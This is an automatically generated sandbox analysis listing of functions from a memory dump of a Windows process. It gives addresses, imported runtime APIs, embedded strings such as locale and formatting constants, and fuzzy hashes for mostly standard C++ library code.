API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~__swprintf
String ID: %.0Lf
API String ID: 2348759532-1402515088
Opcode ID: 6ade29e9279643c5679760c09b4c177836d2803ef789d730ffcd0eb294d86bef
Instruction ID: f6e533b58d15ec611b8f8d4b93d5b4ae21efb1be3bdd1bb407a1bc119ae9fdac
Opcode Fuzzy Hash: 6ade29e9279643c5679760c09b4c177836d2803ef789d730ffcd0eb294d86bef
Instruction Fuzzy Hash: 0B514A71D00249EBCF05EFE4D885AEDBBB9FF08300F208559E546AB295EB349905CFA4

Function 00D9258E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D92595
_swprintf.LIBCMT ref: 00D9260D

Part of subcall function 00D7B500: std::_Lockit::_Lockit.LIBCPMT ref: 00D7B52D
Part of subcall function 00D7B500: std::_Lockit::_Lockit.LIBCPMT ref: 00D7B550
Part of subcall function 00D7B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7B578
Part of subcall function 00D7B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7B617

Strings

%.0Lf, xrefs: 00D92605

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 5499c76c979ff51820909e1c100b97374e23c7b23e3c879b483747f3ffbf6b67
Instruction ID: 1b33cedc087aaf26a0ee831b70320a57dd5b441b8da11e614d1eabc616e9a750
Opcode Fuzzy Hash: 5499c76c979ff51820909e1c100b97374e23c7b23e3c879b483747f3ffbf6b67
Instruction Fuzzy Hash: 9B515C71D00249EBCF05DFE4D895AEDBBB9FF08300F208519E546AB295EB359905CF60

Function 00D96607 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D9660E
_swprintf.LIBCMT ref: 00D96686

Part of subcall function 00D7C590: std::_Lockit::_Lockit.LIBCPMT ref: 00D7C5BD
Part of subcall function 00D7C590: std::_Lockit::_Lockit.LIBCPMT ref: 00D7C5E0
Part of subcall function 00D7C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7C608
Part of subcall function 00D7C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7C6A7

Strings

%.0Lf, xrefs: 00D9667E

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: d8f9a94c7cc552bdec562eedd53f230e0ec87bdff3a7742ac915cf8cfc882ad0
Instruction ID: 41cc729d00c0da7a0a1d2cbfa3ce7ee540a58f8f22b912783ed87040c651ac76
Opcode Fuzzy Hash: d8f9a94c7cc552bdec562eedd53f230e0ec87bdff3a7742ac915cf8cfc882ad0
Instruction Fuzzy Hash: 8D514771D00209EBDF09DFE4D885ADDBBB9FB08700F20855AE506AB2A5EB359915CF60

Function 00D79620 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

\\?\, xrefs: 00D7976E, 00D7979B
\\?\UNC\, xrefs: 00D796F7, 00D79752

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: f6510211b239f031668979890ec5a6071ca427a704b347485b63abbab83980b8
Instruction ID: de4f198d5bd13d51906beb583bb68440ff2b90c5bb385ae24a26aee5a64e91c4
Opcode Fuzzy Hash: f6510211b239f031668979890ec5a6071ca427a704b347485b63abbab83980b8
Instruction Fuzzy Hash: 8651D2719102049BDB14CF68C895BAEF7F5FF95314F10861EE406B7280EB75A988CBB0

Function 00D9B5D1 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00D9B5F6

Strings

RCC, xrefs: 00D9B610
MOC, xrefs: 00D9B608

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 1363626e6215c34a6f4c0d5cee6e341c45ba9fd96268371236a1f3e678ae8819
Instruction ID: 0bef67379d42acd3b7f4ffa3281614b8a7803a846d178c7e8521e3eae3d4eb1b
Opcode Fuzzy Hash: 1363626e6215c34a6f4c0d5cee6e341c45ba9fd96268371236a1f3e678ae8819
Instruction Fuzzy Hash: 13417B71900209AFCF15CF98DE85AEEBBB5FF48314F19815AF9046B211D735A950DB60

Function 00D9217C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D92183

Part of subcall function 00D8780A: __EH_prolog3.LIBCMT ref: 00D87811
Part of subcall function 00D8780A: std::_Lockit::_Lockit.LIBCPMT ref: 00D8781B
Part of subcall function 00D8780A: std::_Lockit::~_Lockit.LIBCPMT ref: 00D8788C

Strings

0123456789-, xrefs: 00D921D3
%.0Lf, xrefs: 00D921CE

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: %.0Lf$0123456789-
API String ID: 2728201062-3094241602
Opcode ID: c4748352d71c4761728da1cfdf05a0e48af058f07f3811d7390c2447f50dd57c
Instruction ID: ac04f216037d5db377370032f2f9a813757918366d9e86b1cc94c4bd196bfd05
Opcode Fuzzy Hash: c4748352d71c4761728da1cfdf05a0e48af058f07f3811d7390c2447f50dd57c
Instruction Fuzzy Hash: 6D414B31900219EFCF15EFA8C8819EDBBB5FF09310F144159E811AB251DB309956CB79

Function 00D964DB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D964E2

Part of subcall function 00D7C590: std::_Lockit::_Lockit.LIBCPMT ref: 00D7C5BD
Part of subcall function 00D7C590: std::_Lockit::_Lockit.LIBCPMT ref: 00D7C5E0
Part of subcall function 00D7C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7C608
Part of subcall function 00D7C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7C6A7

Strings

0123456789-, xrefs: 00D9652D
0123456789-, xrefs: 00D96532

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: 14418e82ab6c730d28617a45dfe1a57f91209dac65b7e61159a70ce85c91623c
Instruction ID: 2bf835fef67d607dfd47e2d20bbd1e2cc291949f8b7a787f67da2778e75c1e40
Opcode Fuzzy Hash: 14418e82ab6c730d28617a45dfe1a57f91209dac65b7e61159a70ce85c91623c
Instruction Fuzzy Hash: C8415B31900209EFCF09EFA8D8919EE7BB5EF09310F11405AF415A7255EB35DA15CB65

Function 00D92460 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D92467

Part of subcall function 00D7B500: std::_Lockit::_Lockit.LIBCPMT ref: 00D7B52D
Part of subcall function 00D7B500: std::_Lockit::_Lockit.LIBCPMT ref: 00D7B550
Part of subcall function 00D7B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7B578
Part of subcall function 00D7B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7B617

Strings

0123456789-, xrefs: 00D924B7
0123456789-, xrefs: 00D924B2

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: dfb41d71123c264cd424bfb6bccbdaad971ab29496499a01630aa267204f73bb
Instruction ID: 251a850bcbbd870654717da9ddd6bca46a760b3bb117de3719e1d60484b5e3c4
Opcode Fuzzy Hash: dfb41d71123c264cd424bfb6bccbdaad971ab29496499a01630aa267204f73bb
Instruction Fuzzy Hash: 5E415931900218EFCF15EFA8D8919EDBBB5FF08310F15416AF805AB251EB309A56DB75

Function 00D967B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D967BC
__cftoe.LIBCMT ref: 00D9684D

Strings

!%x, xrefs: 00D967D6

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: c64d24dc69608c15fe4346438c2c095d12c9a6fe4cc919b18903808fa595ceb3
Instruction ID: 05c4f612d327da18af564960eaa11770e0a5b54615e25861e44304b6aa1138c3
Opcode Fuzzy Hash: c64d24dc69608c15fe4346438c2c095d12c9a6fe4cc919b18903808fa595ceb3
Instruction Fuzzy Hash: 3C41F474A11249EFDF05DFA8D881AEEBBB1BF08304F144429F955A7352E7349A05CBB1

Function 00D92DB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D92DBC
__cftoe.LIBCMT ref: 00D92E4F

Strings

!%x, xrefs: 00D92DCA

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: e9a382dd7779d786bb3d04e71e42cfd3bda5270db095c58d62d24b7a9f260960
Instruction ID: 7267091d5f0582d66ea1549467fea138074b19a027690cd253194e33f2c3a81a
Opcode Fuzzy Hash: e9a382dd7779d786bb3d04e71e42cfd3bda5270db095c58d62d24b7a9f260960
Instruction Fuzzy Hash: 19313A75A10209EBDF04DFA8D981AEEB7B2FF48304F208429F945AB251E7349E05CB74

Function 00D7D5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D7D682

Strings

%, xrefs: 00D7D609
+, xrefs: 00D7D5F6

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: 2a20b40053c91f0dc845d2ec18491119570b181c5838c32b273ac96a6192c311
Instruction ID: 2e9ede4588ad06aa48c396c85ebb67de9baa6c9543b6b0cec40505eb81e39c36
Opcode Fuzzy Hash: 2a20b40053c91f0dc845d2ec18491119570b181c5838c32b273ac96a6192c311
Instruction Fuzzy Hash: 1421A0711083489FD711CF18C859B9BBBEAAF89304F04855DF99897292E634D918C7B2

Function 00D7D6C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D7D769

Strings

+, xrefs: 00D7D6E6
%, xrefs: 00D7D6F9

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: 6f88d198558d8ab4b058d3535e4e59afec3b3f4d966ee9a7abe5a0144b862a17
Instruction ID: ddfe9668adbe5cc82e93e5215bc0c7dffd4a8043e092d7842399d92123f33710
Opcode Fuzzy Hash: 6f88d198558d8ab4b058d3535e4e59afec3b3f4d966ee9a7abe5a0144b862a17
Instruction Fuzzy Hash: F721D1752083459FE715CF14C845B9BBBEAEF85300F048819F99587292D634D908C7B6

Function 00D7D7B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D7D859

Strings

+, xrefs: 00D7D7D6
%, xrefs: 00D7D7E9

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: 0fd706b1745311200e52e22e8fd6f30941070ea5f47bba5888b2df3f4d23b3e4
Instruction ID: 28cd8519e7768eec5c4154ad1c6e7b59ff26322fe5671a49f0064f604a08c431
Opcode Fuzzy Hash: 0fd706b1745311200e52e22e8fd6f30941070ea5f47bba5888b2df3f4d23b3e4
Instruction Fuzzy Hash: 9521AE712083459FE711CF18C845B9BBBEAEF89300F08881DF99897292D634D918CBB7

Function 00D780D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00D78116
LocalFree.KERNEL32(00000000,Invalid SID,0000000B,?,00000000,862265DA), ref: 00D78185

Strings

Invalid SID, xrefs: 00D78163

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: 3e93d963ec8f3c64722a96edd3fccb4487f97c40b1fb25e95f5bb139d18bd2db
Instruction ID: eca85cb0f4e3c2c42d35948e4926eba65cd500a79923058b5ee57e1ae4fc9234
Opcode Fuzzy Hash: 3e93d963ec8f3c64722a96edd3fccb4487f97c40b1fb25e95f5bb139d18bd2db
Instruction Fuzzy Hash: 3F216F74A04305DBDB14DF58C819BAFBBB9EB44B04F14865EE805A7280EBB55A458BA0

Function 00D7C140 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D7C16B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00D7C1CE

Strings

bad locale name, xrefs: 00D7C1F1

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 8d7821ed3aa807d795fab8a8dd92d94ca8aea2894fd87819f03a84fc55d25e60
Instruction ID: 14228195372baf3d5527b4f96b69f70b5b9a3ec0820902949f745f8190c5bf9e
Opcode Fuzzy Hash: 8d7821ed3aa807d795fab8a8dd92d94ca8aea2894fd87819f03a84fc55d25e60
Instruction Fuzzy Hash: 5621C070805B84DED721CF68C90474BBFF4EF15714F14869EE49597781D3B5AA08CBA1

Function 00D84077 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D8407E

Strings

false, xrefs: 00D840D5
true, xrefs: 00D840E8

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: H_prolog3_
String ID: false$true
API String ID: 2427045233-2658103896
Opcode ID: 1f7b0f3512805048d7daa29979c726d2ded2b1c8cd437bdfc06beb8a4479c679
Instruction ID: adaeefff57ac05a08f234c9785b8b988b16d5adbbdbbae10c222a5edf75d3a5a
Opcode Fuzzy Hash: 1f7b0f3512805048d7daa29979c726d2ded2b1c8cd437bdfc06beb8a4479c679
Instruction Fuzzy Hash: 6111D071900746AEC720EFB4D852B8ABBF4EF19700F04852AE0A68B281EB70E504CB70

Function 00D81E15 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D80B00: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,862265DA,?,00DB93B0,000000FF), ref: 00D80B27
Part of subcall function 00D80B00: GetLastError.KERNEL32(?,00000000,00000000,862265DA,?,00DB93B0,000000FF), ref: 00D80B31

IsDebuggerPresent.KERNEL32(?,?,00DCFAD8), ref: 00D81E48
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,00DCFAD8), ref: 00D81E57

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00D81E52

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 1f27a7caf5751043fb0b86ac47cb3845d18c444dace418bfb70f9855d043ac52
Instruction ID: 7f3485809c6a66a9f87b9f33478e32aa1ce02c8a050d24cb9eed6cfaba64257f
Opcode Fuzzy Hash: 1f27a7caf5751043fb0b86ac47cb3845d18c444dace418bfb70f9855d043ac52
Instruction Fuzzy Hash: D9E06574600702CFC361BF29E904786BBE9AB04744F44891DE886C6741FBB4E809CBB2

Function 00D76C20 Relevance: 5.2, APIs: 4, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,40000022,862265DA,?,00000000,?,?,?,?,00DB9DA0,000000FF,?,00D76432,00000000,?), ref: 00D76CC4
LocalAlloc.KERNEL32(00000040,3FFFFFFF,862265DA,?,00000000,?,?,?,?,00DB9DA0,000000FF,?,00D76432,00000000,?), ref: 00D76CE7
LocalFree.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,00DB9DA0,000000FF,?,00D76432,00000000), ref: 00D76D87
LocalFree.KERNEL32(?,862265DA,00000000,00DB93B0,000000FF,?,00000000,00000000,00DB9DA0,000000FF,862265DA), ref: 00D76E0D

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: a6d862bde760b08dbdfb8e557e227eb0831cd16d63ed7b5619e1060d280e767d
Instruction ID: 509f302dd142811e9d44118086b17522ee881c8f995cdfb45a38cee59e1ae461
Opcode Fuzzy Hash: a6d862bde760b08dbdfb8e557e227eb0831cd16d63ed7b5619e1060d280e767d
Instruction Fuzzy Hash: E1517675A106059FDB18DF68C985AAEBBB5FB48350F14822DE819E7380E731ED10CBA4

Function 00D74A80 Relevance: 5.2, APIs: 4, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,80000022,?,?,?,00000000,?,00000000,?,?), ref: 00D74B05
LocalAlloc.KERNEL32(00000040,7FFFFFFF,?,?,?,00000000,?,00000000,?,?), ref: 00D74B25
LocalFree.KERNEL32(7FFFFFFE,?,?,00000000,?,00000000,?,?), ref: 00D74BAB
LocalFree.KERNEL32(00000000,862265DA,00000000,00000000,Function_000492C0,000000FF,?,?,00000000,?,00000000,?,?), ref: 00D74C2D

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 00228d4a3f9bb1f1586903a11662ddd2612d6bf0d76ca4e4f41c0c689f4e47e7
Instruction ID: 6ac467dcf06480e0266a26173f5c18754e37818b9907af237573b44aa3fcda9f
Opcode Fuzzy Hash: 00228d4a3f9bb1f1586903a11662ddd2612d6bf0d76ca4e4f41c0c689f4e47e7
